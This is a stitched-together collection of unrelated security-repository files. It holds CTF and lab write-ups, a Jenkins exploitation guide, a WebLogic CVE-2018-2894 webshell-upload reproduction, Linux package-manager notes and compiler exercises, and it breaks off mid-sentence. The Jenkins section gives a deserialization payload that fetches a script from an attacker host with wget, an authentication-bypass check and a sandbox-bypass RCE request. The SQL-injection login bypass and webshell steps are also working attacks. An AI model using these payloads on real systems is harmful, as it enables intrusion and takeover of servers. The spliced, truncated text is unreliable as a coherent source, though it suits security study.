0x1e solver.add((iVar2_10 + uVar1_10 & 3) - uVar1_10 == 3) #Check_11 # ((*(char *)(param_1 + 0x14) == 'B') && (*(char *)(param_1 + 0x15) == 'B')) solver.add(key[0x14] == ord('B')) solver.add(key[0x15] == ord('B')) #Check_12 # (ulong)(((int)*(char *)(param_1 + 6) + # (int)*(char *)(param_1 + 9) * (int)*(char *)(param_1 + 0xf)) % 10 == 1) solver.add((key[6] + key[9] * key[0xf]) % 10 == 1) #Check_13 # int iVar1; # uint uVar2; # iVar1 = (int)*(char *)(param_1 + 0x1b) + # (int)*(char *)(param_1 + 4) + (int)*(char *)(param_1 + 0xf) + -0x12; # uVar2 = (uint)(iVar1 >> 0x1f) >> 0x1c; # return (ulong)((iVar1 + uVar2 & 0xf) - uVar2 == 8) iVar1_13 = key[0x1b] + key[4] + key[0xf] - 0x12 uVar2_13 = (iVar1_13 >> 0x1f) >> 0x1c solver.add(iVar1_13 + uVar2_13 & 0xf - uVar2_13 == 8) #Check_14 # uint uVar1; # int iVar2; # iVar2 = (int)*(char *)(param_1 + 0x1c) - (int)*(char *)(param_1 + 9); # uVar1 = (uint)(iVar2 >> 0x1f) >> 0x1f; # return (ulong)((iVar2 + uVar1 & 1) - uVar1 == 1); iVar2_14 = key[0x1c] - key[9] uVar1_14 = (iVar2_14 >> 0x1f) >> 0x1f solver.add((iVar2_14 + uVar1_14 & 1) - uVar1_14 == 1) #Check_15 # (ulong)(*param_1 == 'M') solver.add(key[0] == ord('M')) if solver.check() == sat: model = solver.model() #print(model) res = "" for i in range(KEY_LEN): res += chr(model[key[i]].as_long()) return res if args["REMOTE"]: p = remote("rev.tamuctf.com", 8189) else: p = process("./prodkey") key = get_key() log.info("Using key: {}".format(key)) p.sendlineafter("Please Enter a product key to continue:", key) res =p.recvall() print (res.decode("ascii")) ``` The output: ```console root@kali:/media/sf_CTFs/tamu/Cr4ckZ33C0d3# python3 exploit.py REMOTE [+] Opening connection to rev.tamuctf.com on port 8189: Done [*] Using key: M4!!9-8!!7@-!!!9!-6!BB2-!!!88 [+] Recieving all data: Done (23B) [*] Closed connection to rev.tamuctf.com port 8189 gigem{z3_b3st_thr33} ```
sec-knowleage
# Micro-CMS v2 - FLAG0 ## 0x00 Index ![](./imgs/index.jpg) ## 0x01 Log In Try create a new page. Redirect to log in page. Try with weak password. Not working. ![](./imgs/login.jpg) ## 0x02 Try Add ' Get SQL error page ``` Traceback (most recent call last): File "./main.py", line 145, in do_login if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0: File "/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py", line 255, in execute self.errorhandler(self, exc, value) File "/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py", line 50, in defaulterrorhandler raise errorvalue ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1") ``` ## 0x03 Bypass Login USERNAME = ```sql ' UNION SELECT '123' AS password# ``` and PASSWORD = 123 ```sql SELECT password FROM admins WHERE username='admin' UNION SELECT '123' AS password# ``` ![](./imgs/success.jpg) ## 0x04 Private Page (FLAG) ![](./imgs/private.jpg) ![](./imgs/flag.jpg)
sec-knowleage
# 包管理 --- **软件包是什么?** 软件包这个概念是用来解决在软件安装、升级过程中的复杂性的。包将软件安装升级中需要的多个数据文件合并成一个单独的文件,这将便于传输和(通过压缩文件来)减小存储空间,包中的二进制可执行文件已根据开发者所选择的编译标识预编译。包本身包括了所有需要的元数据,如软件的名字、软件的说明、版本号,以及要运行这个软件所需要的依赖包等等。 不同流派的 Linux 发行版都创造了它们自己的包格式,其中最常用的包格式有: - .deb:这种包格式由 Debian、Ubuntu、Linux Mint 以及其它的变种使用。这是最早被发明的包类型。 - .rpm:这种包格式最初被称作红帽包管理器(LCTT 译注: 取自英文的首字母)。使用这种包的 Linux 发行版有 Red Hat、Fedora、SUSE 以及其它一些较小的发行版。 - .tar.xz:这种包格式只是一个软件压缩包而已,这是 Arch Linux 所使用的格式。 尽管上述的包格式自身并不能直接管理软件的依赖问题,但是它们的出现将 Linux 软件包管理向前推进了一大步。 **为什么要有包管理工具** 今天,每个可计算设备都会使用某种软件来完成预定的任务。在软件开发的上古时期,为了找出软件中的“虫”和其它缺陷,软件会被严格的测试。在近十年间,软件被通过互联网来频繁分发,以试图通过持续不断的安装新版本的软件来解决软件的缺陷问题。在很多情况下,每个独立的应用软件都有其自带的更新器。而其它一些软件则让用户自己去搞明白如何获取和升级软件。 Linux 较早采用了维护一个中心化的软件仓库来发布软件更新这种做法,用户可以在这个软件仓库里查找并安装软件。 **那么在包管理器出现之前在 Linux 上是如何安装软件的呢?** 曾几何时,软件都是通过 FTP 或邮件列表来分发的(最终这些发布方式在互联网的迅猛发展下都演化成为一个个现今常见的软件发布网站)。(一般在一个 tar 文件中)只有一个非常小的文件包含了创建二进制的说明。你需要做的是先解压这个包,然后仔细阅读当中的 README 文件, 如果你的系统上恰好有 GCC或者其它厂商的 C 编译器的话,你得首先运行 ./configure 脚本,并在脚本后添加相应的参数,如库函数的路径、创建可执行文件的路径等等。除此之外,这个配置过程也会检查你操作系统上的软件依赖是否满足安装要求。如果缺失了任何主要的依赖,该配置脚本会退出不再继续安装,直到你满足了该依赖。如果该配置脚本正常执行完毕,将会创建一个 Makefile 文件。 当有了一个 Makefile 文件时, 你就可以接下去执行 make 命令(该命令由你所使用的编译器提供)。make 命令也有很多参数,被称为 make 标识,这些标识能为你的系统优化最终生成出来的二进制可执行文件。在计算机世界的早期,这些优化是非常重要的,因为彼时的计算机硬件正在为了跟上软件迅速的发展而疲于奔命。今日今时,编译标识变得更加通用而不是为了优化哪些具体的硬件型号,这得益于现代硬件和现代软件相比已经变得成本低廉,唾手可得。 最后,在 make 完成之后, 你需要运行 make install (或 make install) 来“真正”将这个软件安装到你的系统上。可以想象,为你系统上的每一个软件都执行上述的流程将是多么无聊费时,更不用说如果更新一个已经安装的软件将会多复杂,多么需要精力投入。 **软件仓库到底是什么?** 多年以前(当智能电话还没有像现在这样流行时),非 Linux 世界的用户是很难理解软件仓库的概念的。甚至今时今日,大多数完全工作在 Windows 下的用户还是习惯于打开浏览器,搜索要安装的软件(或升级包),下载然后安装。但是,智能电话传播了软件“商店”这样一个概念。智能电话用户获取软件的方式和包管理器的工作方式已经非常相近了。些许不同的是,尽管大多数软件商店还在费力美化它的图形界面来吸引用户,大多数 Linux 用户还是愿意使用命令行来安装软件。总而言之,软件仓库是一个中心化的可安装软件列表,上面列举了在当前系统中预先配置好的软件仓库里所有可以安装的软件。下面我们举一些例子来说在各个不同的 Linux 发行版下如何在对应的软件仓库里搜寻某个特定的软件(输出有截断)。 --- ## apt 和 apt-get apt 的全称是 Advanced Packaging Tool 是 Linux 系统下的一款安装包管理工具. **apt 和 apt-get 命令之间的区别** 没啥区别,建议使用 apt **PPA** PPA 表示个人软件包存档 软件仓库是一组文件,其中包含各种软件及其版本的信息,以及校验和等其他一些详细信息。每个版本的 Ubuntu 都有自己的四个官方软件仓库: - Main - Canonical 支持的自由开源软件。 - Universe - 社区维护的自由开源软件。 - Restricted - 设备的专有驱动程序。 - Multiverse - 受版权或法律问题限制的软件。 见此 http://archive.ubuntu.com/ubuntu/dists/ 所以,PPA 基本上是一个包含软件信息的网址。那你的系统又是如何知道这些仓库的位置的呢? 这些信息存储在 `/etc/apt` 目录中的 sources.list 文件中。如果查看此文件的内容,你就会看到里面有软件仓库的网址。# 开头的行将被忽略。 这样的话,当你运行 `apt update` 命令时,你的系统将使用 APT 工具 来检查软件仓库并将软件及其版本信息存储在缓存中。当你使用 `apt install -y package_name` 命令时,它通过该信息从实际存储软件的网址获取该软件包。 如果软件仓库中没有关于某个包的信息,你将看到如下错误: ``` E: Unable to locate package ``` ```bash add-apt-repository ppa:XXX/XXX # 将 PPA 仓库添加到列表中。 ``` **常见问题** ``` E: 无法获得锁 /var/lib/apt/lists/lock - open (11: 资源暂时不可用) E: 无法对目录 /var/lib/apt/lists/ 加锁 E: 无法获得锁 /var/lib/dpkg/lock - open (11: 资源暂时不可用) E: 无法锁定管理目录(/var/lib/dpkg/),是否有其他进程正占用它? ``` 出现这个问题的原因可能是有另外一个程序正在运行,由于它在运行时,会占用软件源更新时的系统锁(以下称“系统更新锁”,此锁文件在“/var/lib/apt/lists/”目录下),而当有新的apt-get进程生成时,就会因为得不到系统更新锁而出现"E: 无法获得锁 /var/lib/apt/lists/lock - open (11: Resource temporarily unavailable)"错误提示! 而导致资源被锁的原因,可能是上次安装时没正常完成,而导致出现此状况。 解决方法 ```bash rm -rf /var/cache/apt/archives/lock rm -rf /var/lib/dpkg/lock-frontend rm -rf /var/lib/dpkg/lock # 强制解锁占用 ``` --- ## dnf DNF(Dandified Yum)是一种的 RPM 软件包管理器。 DNF包管理器克服了 YUM 包管理器的一些瓶颈,提升了包括用户体验,内存占用,依赖分析,运行速度等多方面的内容。 DNF使用 RPM,libsolv 和 hawkey 库进行包管理操作,Fedora22 已经默认使用 DNF。 --- ## pacman pacman 是 Arch 的包管理工具. --- ## snap Snappy 是一个软件部署和软件包管理系统,最早由 Canonical 公司为了 Ubuntu 移动电话操作系统而设计和构建。其包称为“snap”,工具名为“snapd”,可在多种 Linux 发行版上运行,完成发行上游主导的软件部署。该系统的设计面向手机、云、物联网和台式机。 --- ## yum yum 命令是在 Fedora 和 RedHat 以及 SUSE 中基于 rpm 的软件包管理器 **常见问题** ```bash /var/run/yum.pid 已被锁定,PID 为 xxxx 的另一个程序正在运行. ``` 解决方法 ```bash rm -f /var/run/yum.pid ``` ### epel源 - https://fedoraproject.org/wiki/EPEL/zh-cn **epel源是什么** EPEL (Extra Packages for Enterprise Linux)是基于Fedora的一个项目,为“红帽系”的操作系统提供额外的软件包,适用于RHEL、CentOS和Scientific Linux. EPEL 的软件包通常不会与企业版 Linux 官方源中的软件包发生冲突,或者互相替换文件。EPEL 项目与 Fedora 基本一致,包含完整的构建系统、升级管理器、镜像管理器等等。 **如何获取 EPEL 的软件包?** EPEL 包含一个叫做 'epel-release' 的包,其中包含了用于软件包签名的 gpg 密钥和软件源的信息。安装这个包到你的企业版 Linux 上之后,你将可以通过使用类似于 yum 的工具来安装软件包和它们的依赖。 在默认情况下,EPEL 仓库的稳定版本是开启的。除了 epel-release 源,还有一个叫做 'epel-testing' 仓库 包含尚未被视作稳定的软件,请自行斟酌开启的风险。 ```bash yum -y install epel-release yum repolist yum clean all yum makecache ``` --- ## Zypper zypper 是一个简单易用的命令行包管理器,它使用了一个软件包管理库叫做 libzypp 。Zypper 能够操作软件安装源 (比如 Build Service 或 标准 openSUSE 安装源 ), 搜索软件包,安装,删除,或更新软件包等等。它能够作为独立软件使用,也可以在脚本中使用,或被其他软件使用。 --- ## Source & Reference * [包管理器的进化](https://linux.cn/article-9931-1.html) * [Ubuntu PPA 使用指南 ](https://linux.cn/article-10456-1.html)
sec-knowleage
# 第一章 引论 编译器(Compiler)是一种将高级程序设计语言(如 C、C++、Java等)编写的源代码转换为目标代码(如汇编语言或机器码)的程序。编译器通过一系列的处理步骤将源代码翻译成机器可以执行的指令集,使程序可以被计算机直接执行。 编译器通常包括以下几个主要的处理步骤: 1. 词法分析(Lexical Analysis):将源代码转换为一个个标记(Token),如关键字、标识符、数字、运算符等。 2. 语法分析(Syntax Analysis):根据语言规范分析源代码中的语法结构,构建出抽象语法树(Abstract Syntax Tree, AST),以方便后续的分析和转换。 3. 语义分析(Semantic Analysis):分析源代码的语义,检查类型匹配、变量作用域、函数调用等语义问题。 4. 代码优化(Code Optimization):对生成的目标代码进行优化,以提高程序性能。 5. 代码生成(Code Generation):将优化后的中间代码翻译成目标代码,如汇编语言或机器码。 编译器在程序开发过程中发挥着重要的作用,可以将高级程序设计语言翻译成底层的指令集,以实现计算机程序的执行。同时,编译器还能够进行错误检查、优化和调试等功能,提高程序开发的效率和程序性能。 ## 语言处理器 语言处理器(Language Processor)是一种将一种语言转换为另一种语言或执行程序的软件系统,它包括编译器、解释器、汇编器、链接器等。 编译器(Compiler)是一种将高级程序设计语言(如 C、C++、Java等)编写的源代码转换为目标代码(如汇编语言或机器码)的程序。编译器通过一系列的处理步骤将源代码翻译成机器可以执行的指令集,使程序可以被计算机直接执行。 解释器(Interpreter)是一种直接执行源代码的程序,不需要将源代码转换为目标代码。解释器逐行解释源代码,并将其转换为计算机可以理解的指令集,然后直接执行这些指令。 汇编器(Assembler)是一种将汇编语言代码转换为机器码的程序。汇编器将汇编语言代码转换为二进制代码,以便计算机可以直接执行。 链接器(Linker)是一种将多个目标文件链接成一个可执行文件的程序。链接器将多个目标文件中的符号表进行合并,并将它们链接到正确的内存地址上,以便程序可以正确执行。 语言处理器在计算机程序开发中扮演着重要的角色,它可以将高级程序设计语言翻译成底层的指令集,以实现计算机程序的执行。同时,语言处理器还能够进行错误检查、优化和调试等功能,提高程序开发的效率和程序性能。 ------ JAVA是一种先编译后解释的语言,下面是JAVA编译和解释的过程: 1. 编写JAVA源代码:程序员使用文本编辑器等工具编写JAVA源代码,源代码文件的扩展名为.java。 2. 编译JAVA源代码:使用Javac编译器将JAVA源代码编译成字节码文件,字节码文件的扩展名为.class。编译器将源代码中的每个类编译成一个独立的字节码文件,每个字节码文件包含了该类的方法、变量和常量等信息。 3. 加载字节码文件:Java虚拟机(JVM)将字节码文件加载到内存中,并对其进行解析。 4. 字节码校验:JVM对字节码文件进行校验,检查它是否符合Java语言规范。如果字节码文件存在问题,JVM会拒绝执行该文件。 5. 字节码优化:JVM对字节码文件进行优化,以提高程序的性能。JVM会进行常量折叠、代码移除、方法内联等优化操作。 6. 解释字节码:JVM解释字节码文件中的指令,将其转换为机器码并执行。JVM还会进行内存管理、线程管理、异常处理等操作。 因此,JAVA编译和解释的过程可以分为两个阶段:编译阶段和运行阶段。在编译阶段,Javac编译器将JAVA源代码编译成字节码文件;在运行阶段,JVM将字节码文件加载到内存中并解释执行。 ------ 预处理器(Preprocessor)是一种对源代码进行预处理的程序,主要用于进行宏替换、条件编译等操作,以便将源代码转换为适合编译器处理的形式。预处理器通常被用于C、C++、Objective-C等语言中。 预处理器可以进行以下一些操作: 1. 宏替换(Macro Expansion):预处理器可以将源代码中的宏(Macro)展开为对应的代码,以便编译器能够正确处理。 2. 条件编译(Conditional Compilation):预处理器可以根据条件编译指令选择性地编译或忽略源代码中的部分内容。这在编写可移植代码或处理不同操作系统的API时很有用。 3. 文件包含(File Inclusion):预处理器可以通过#include指令将一个文件中的内容包含到另一个文件中,以便代码复用和模块化编程。 4. 特殊指令(Special Directives):预处理器还可以通过特殊指令向编译器传递额外的信息,如指定链接库、定义编译器变量等。 预处理器的输出通常是一份新的源代码文件,其中宏已经被展开、条件编译已经完成、文件已经包含。编译器将这个新的源代码文件作为输入,对其进行编译和链接等操作,最终生成可执行文件。 总之,预处理器是编程中的一个重要工具,可以使程序更加灵活、可维护和可重用。它可以减少代码冗余,提高程序的可读性和可维护性,以及在跨平台开发时提高代码的可移植性。 ------ 练习1.1.1:编译器和解释器之间的区别是什么? > 编译器(Compiler)和解释器(Interpreter)是将源代码翻译成可执行代码的两种不同方式。 > > 编译器将整个源代码翻译成可执行代码,翻译过程只需要进行一次,生成的目标代码通常需要在特定的平台上运行。编译器将源代码翻译成机器可以直接执行的指令集,最终生成的可执行文件在运行时不需要编译器存在,因此运行效率高。 > > 解释器则将源代码逐行翻译成机器指令并执行,不需要生成目标代码。解释器翻译一行源代码就执行一行,每行代码都需要重新翻译,因此解释器的运行效率相对较低。解释器通常具有更好的跨平台性,可以在不同的平台上直接运行,而不需要生成平台特定的可执行文件。 > > 下面是编译器和解释器之间的主要区别: > > 1. 编译器将源代码转换为可执行文件,解释器则直接执行源代码。 > 2. 编译器生成的可执行文件可以在不需要编译器存在的情况下直接运行,而解释器需要在运行时对源代码进行解释。 > 3. 编译器翻译整个源代码,而解释器逐行解释源代码。 > 4. 编译器的翻译速度通常较快,而解释器的翻译速度相对较慢。 > 5. 编译器生成的代码通常在特定平台上运行,而解释器具有更好的跨平台性。 练习1.1.2:编译器相对于解释器的优点是什么?解释器相对于编译器的优点是什么? > 相对于解释器,编译器的优点主要包括以下几个方面: > > 1. 高效性:编译器将整个源代码翻译成目标代码,生成的可执行文件可以在不需要编译器存在的情况下直接运行,因此运行效率相对较高。 > 2. 可移植性:编译器生成的可执行文件可以在不同的平台上运行,只要目标平台上存在与编译器生成的可执行文件相应的指令集,就可以运行。 > 3. 优化能力:编译器可以进行代码优化,以提高程序的性能。编译器可以进行常量折叠、代码移除、方法内联等优化操作。 > > 相对于编译器,解释器的优点主要包括以下几个方面: > > 1. 灵活性:解释器可以直接执行源代码,无需编译成目标代码,因此可以更加灵活地处理动态代码,如脚本语言、交互式应用等。 > 2. 跨平台性:解释器具有更好的跨平台性,可以在不同的平台上直接运行,而不需要生成平台特定的可执行文件。 > 3. 调试能力:解释器可以逐行执行源代码,方便调试程序。在解释器中可以很容易地进行单步调试、断点调试等操作。 练习1.1.3:在一个语言处理系统中,编译器产生汇编语言而不是机器语言的好处是什么? > 在一个语言处理系统中,编译器产生汇编语言而不是机器语言的好处主要包括以下几个方面: > > 1. 可读性:汇编语言比机器语言更易于理解和阅读,因为汇编语言使用助记符代替了二进制代码。这样,程序员可以更加容易地阅读和理解编译器生成的代码,从而更容易进行调试和优化。 > 2. 跨平台性:汇编语言代码可以更容易地移植到不同的硬件平台上,因为汇编语言通常与底层硬件架构有关。这样,程序员可以使用汇编语言代码在不同的平台上进行移植和重用。 > 3. 可优化性:汇编语言代码可以更容易地进行优化,因为汇编语言更接近底层硬件架构。这样,程序员可以使用汇编语言代码进行手动优化,以提高程序的性能。 > 4. 可扩展性:汇编语言代码可以更容易地进行扩展,因为汇编语言更接近底层硬件架构。这样,程序员可以使用汇编语言代码进行底层编程,从而可以更好地控制硬件,实现更多的功能和特性。 > > 总的来说,编译器产生汇编语言而不是机器语言可以提高代码的可读性、可移植性、可优化性和可扩展性,使程序员更加容易地理解、维护和优化代码。同时,汇编语言也可以提高程序的性能和控制硬件的能力。 练习1.1.4:把一种高级语言翻译成为另一种高级语言的编译器称为源到源(source-to-source)的翻译器。编译器使用C语言作为目标语言有什么好处? > 1. 跨平台性:C语言是一种跨平台的语言,可以在不同的操作系统和硬件上运行。因此,编译器可以将源代码翻译成C语言,然后在不同的平台上使用C编译器将C语言代码编译成可执行文件,从而实现跨平台的运行。 > 2. 简单性:C语言相对于其他高级语言来说比较简单,它的语法和结构都比较清晰明了。因此,将高级语言翻译成C语言可以使翻译过程更加简单和直观,降低编译器的开发难度。 > 3. 可优化性:C语言是一种底层语言,与底层硬件架构更接近,因此可以更容易地进行优化。将高级语言翻译成C语言可以使程序员更容易地进行手动优化,以提高程序的性能。 > 4. 可读性:C语言是一种比较常用的语言,很多程序员都熟悉它。因此,将高级语言翻译成C语言可以使生成的代码更易于理解和阅读,从而方便程序员进行调试和优化。 练习1.1.5:描述一下汇编器所要完成的一些任务。 > 汇编器是一种将汇编语言代码翻译成机器语言代码的程序。汇编器需要完成以下一些任务: > > 1. 词法分析(Lexical Analysis):汇编器首先需要将汇编代码分解成一系列词法单元(Lexical Unit),如标识符、指令、操作数等。词法分析器通常使用正则表达式来识别不同的词法单元。 > 2. 语法分析(Syntax Analysis):汇编器需要对词法单元进行语法分析,以检查代码是否符合语法规则。语法分析器通常使用上下文无关文法(Context-Free Grammar)来描述语法规则,并生成语法分析树。 > 3. 符号解析(Symbol Resolution):汇编器需要解析汇编代码中的符号,如标签、变量名等,并将它们映射到对应的内存地址。符号解析通常通过符号表(Symbol Table)来实现。 > 4. 代码生成(Code Generation):汇编器最重要的任务是将汇编代码翻译成机器语言代码。在这个阶段,汇编器将汇编代码转换成机器指令,以便计算机可以直接执行。代码生成的过程通常包括指令选择、寻址方式选择、指令编码等操作。 > 5. 错误检查(Error Checking):汇编器还需要对汇编代码进行错误检查,以检测和报告代码中的错误。错误检查器通常会检查语法错误、符号错误、地址越界错误等。 > > 总之,汇编器是将汇编代码翻译成机器语言代码的重要工具,它需要完成词法分析、语法分析、符号解析、代码生成和错误检查等任务,以便生成正确和可执行的机器代码。
sec-knowleage
version: '2' services: mongo: image: mongo:5.0.6 environment: MONGO_INITDB_ROOT_USERNAME: root MONGO_INITDB_ROOT_PASSWORD: root MONGO_INITDB_DATABASE: yapi web: image: vulhub/yapi:1.10.2 ports: - "3000:3000" volumes: - ./config.json:/usr/config.json - ./initdb.js:/usr/src/initdb.js environment: - MONGO_ADDR=mongo:27017
sec-knowleage
### [第十一课:工具介绍Veil-Evasion](../Chapter1/11_工具介绍Veil-Evasion.md) ### [第十二课:基于UDP发现内网存活主机](../Chapter1/12_基于UDP发现内网存活主机.md) ### [第十三课:基于ARP发现内网存活主机](../Chapter1/13_基于ARP发现内网存活主机.md) ### [第十四课:基于第十课补充payload1](../Chapter1/14_基于第十课补充payload1.md) ### [第十五课:基于第十课补充payload2](../Chapter1/15_基于第十课补充payload2.md) ### [第十六课:红蓝对抗渗透测试1](../Chapter1/16_红蓝对抗渗透测试1.md) ### [第十七课:红蓝对抗渗透测试2](../Chapter1/17_红蓝对抗渗透测试2.md) ### [第十八课:红蓝对抗渗透测试3](../Chapter1/18_红蓝对抗渗透测试3.md) ### [第十九课:基于netbios发现内网存活主机](../Chapter1/19_基于netbios发现内网存活主机.md) ### [第二十课:基于snmp发现内网存活主机](../Chapter1/20_基于snmp发现内网存活主机.md)
sec-knowleage
# Weblogic 任意文件上传漏洞(CVE-2018-2894) Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。 利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。 参考链接: - http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html - https://mp.weixin.qq.com/s/y5JGmM-aNaHcs_6P9a-gRQ - https://xz.aliyun.com/t/2458 ## 漏洞环境 执行如下命令,启动weblogic 12.2.1.3: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:7001/console`,即可看到后台登录页面。 执行`docker compose logs | grep password`可查看管理员密码,管理员用户名为`weblogic`。 登录后台页面,点击`base_domain`的配置,在“高级”中开启“启用 Web 服务测试页”选项: ![](img/1.png) ## 漏洞复现 访问`http://your-ip:7001/ws_utc/config.do`,设置Work Home Dir为`/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css`。我将目录设置为`ws_utc`应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。 ![](img/2.png) 然后点击安全 -> 增加,然后上传webshell: ![](img/3.png) 上传后,查看返回的数据包,其中有时间戳: ![](img/4.png) 然后访问`http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]`,即可执行webshell: ![](img/5.png)
sec-knowleage
from Crypto.Util.number import getPrime, getRandomRange, GCD def getBlumPrime(nbits): p = getPrime(nbits) while p % 4 != 3: p = getPrime(nbits) return p def genKey(nbits): p = getBlumPrime(nbits/2) q = getBlumPrime(nbits/2) N = p * q return ((p,q), N) def randQR(N): return pow(getRandomRange(1, N), 2, N) def encrypt(m, N): return pow(m, 2, N) def legendreSymbol(a, p): return pow(a, (p-1)/2, p) def decrypt(c, p, q): if GCD(c, p*q) != 1: return None if legendreSymbol(c, p) != 1: return None if legendreSymbol(c, q) != 1: return None return pow(c, ((p-1)*(q-1) + 4) / 8, p*q)
sec-knowleage
# Jenkins Common Bugs ## Introduction What would you do if you came across a website that uses Jenkins? ## How to Detect Usually in the HTTP response there is a header like this `X-Jenkins` 1. Find the related CVE by checking jenkins version * How to find the jenkins version By checking the response header `X-Jenkins`, sometimes the version is printed there. If you found outdated jenkins version, find the exploit at [pwn_jenkins](https://github.com/gquere/pwn_jenkins) Some example CVE: - Deserialization RCE in old Jenkins (CVE-2015-8103, Jenkins 1.638 and older) Use [ysoserial](https://github.com/frohoff/ysoserial) to generate a payload. Then RCE using [this script](./rce/jenkins_rce_cve-2015-8103_deser.py): ```bash java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out ./jenkins_rce.py jenkins_ip jenkins_port payload.out ``` - Authentication/ACL bypass (CVE-2018-1000861, Jenkins <2.150.1) Details [here](https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html). If the Jenkins requests authentication but returns valid data using the following request, it is vulnerable: ```bash curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a ``` Alternative RCE with Overall/Read and Job/Configure permissions [here](https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc). - CheckScript RCE in Jenkins (CVE-2019-1003030) How to Exploit: - [PacketStorm](https://packetstormsecurity.com/files/159603/Jenkins-2.63-Sandbox-Bypass.html) ``` GET /jenkinselj/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x { public x(){ "ping -c 1 xx.xx.xx.xx".execute() } } HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID.4495c8e0=node01jguwrtw481dx1bf3gaoq5o6no32.node0 Connection: close Upgrade-Insecure-Requests: 1 ``` URL Encoding the following for RCE ``` public class x { public x(){ "ping -c 1 xx.xx.xx.xx".execute() } } ``` to %70%75%62%6c%69%63%20%63%6c%61%73%73%20%78%20%7b%0a%20%20%70%75%62%6c%69%63%20%78%28%29%7b%0a%22%70%69%6e%67%20%2d%63%20%31%20%78%78%2e%78%78%2e%78%78%2e%78%78%22%2e%65%78%65%63%75%74%65%28%29%0a%7d%0a%7d 2. Default Credentials ``` Try to login using admin as username and password ``` 3. Unauthenticated Jenkins Dashboard ``` Access https://target.com and if there is no login form then it is vulnerable ``` ## Reference * [pwn_jenkins](https://github.com/gquere/pwn_jenkins)
sec-knowleage
---------------- [Forensics] Dump - 50 points ---------------- > English: > We know this dump was generated by a process which was executing as root in the computer, and that it was reading directly from a /dev device. Probably it is part of a keylogger module included in a rootkit which is being tested by the Club. Help us to unveil this message, allowing us to discover why they infected this specific machine. > Submit the flag in the format: CTF-BR{message} In this task we were given a `dump` file. Looking at it in hexeditor, we quickly notice that it almost repeats every 24 bytes: ``` $ hexdump -C dump | head 00000000 79 8e 8a 56 00 00 00 00 d0 59 0a 00 00 00 00 00 |y..V.....Y......| 00000010 04 00 04 00 28 00 07 00 79 8e 8a 56 00 00 00 00 |....(...y..V....| 00000020 d0 59 0a 00 00 00 00 00 01 00 1c 00 00 00 00 00 |.Y..............| 00000030 79 8e 8a 56 00 00 00 00 d0 59 0a 00 00 00 00 00 |y..V.....Y......| 00000040 00 00 00 00 00 00 00 00 7b 8e 8a 56 00 00 00 00 |........{..V....| 00000050 7f b7 0a 00 00 00 00 00 04 00 04 00 e1 00 07 00 |................| 00000060 7b 8e 8a 56 00 00 00 00 7f b7 0a 00 00 00 00 00 |{..V............| 00000070 01 00 2a 00 01 00 00 00 7b 8e 8a 56 00 00 00 00 |..*.....{..V....| 00000080 7f b7 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000090 7b 8e 8a 56 00 00 00 00 82 2e 0c 00 00 00 00 00 |{..V............| ``` In the task description `/dev` was mentioned. Googling Linux's treatment of keyboard we notice the following structure: ``` struct input_event { struct timeval time; unsigned short type; unsigned short code; unsigned int value; }; ``` It seems to fit our data - timeval was monotonically increasing, and the size of the structure was 24. We found that `value` contains 0 or 1, depending on whether the key was pressed or released, the `type` that was interesting for us was `EV_KEY` (1), and `code` was the keycode. In `keys.h` file from Linux source code there were all keycode definitions. We copied interesting part of it and wrote a Python script to parse the dump. Running it, we get the flag: ``` I am suspicious of Fideleetos intentions ```
sec-knowleage
package com.vulhub.authzvuln; import org.springframework.stereotype.Controller; import org.springframework.boot.web.servlet.error.ErrorController; import org.springframework.web.bind.annotation.RequestMapping; import javax.servlet.http.HttpServletRequest; import org.springframework.http.HttpStatus; import javax.servlet.RequestDispatcher; @Controller public class MyErrorController implements ErrorController { @RequestMapping("/error") public String handleError(HttpServletRequest request) { Object status = request.getAttribute(RequestDispatcher.ERROR_STATUS_CODE); if (status != null) { Integer statusCode = Integer.valueOf(status.toString()); if(statusCode == HttpStatus.FORBIDDEN.value()) { return "error-403"; } } return "error"; } }
sec-knowleage
# Number Error Misc. ## Description: > The function `assert_number(num: number)` is merely a debug function for our Wee VM (WeeEm?). It proves additions always work. Just imagine the things that could go wrong if it wouldn't! ## Solution: This is a "Wee" challenge - see basic explanation [here](./Wee/). The `assert_number` logic is as follows: ```typescript externals.addFunction( "assert_number", [{name: "num", type: compiler.NumberType}], compiler.StringType, false, (num: number) => !isFinite(num) || isNaN(num) || num !== num + 1 ? "NUMBERS WORK" : flags.NUMBER_ERROR ) ``` I once had to work on a project which constantly required setting and clearing bits on a UINT32. I didn't like the calculator GUI so I wrote a [tiny Javascript utility](https://github.com/Dvd848/Online_Tools/blob/master/Bit_Parser.html) to help me. It worked well for 32 bits, but when trying the same logic on 64 bit integers, things started to break. That's where I learnt that Javascript has a [Number.MAX_SAFE_INTEGER](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER) definition: > The MAX_SAFE_INTEGER constant has a value of 9007199254740991 (9,007,199,254,740,991 or ~9 quadrillion). The reasoning behind that number is that JavaScript uses double-precision floating-point format numbers as specified in IEEE 754 and can only safely 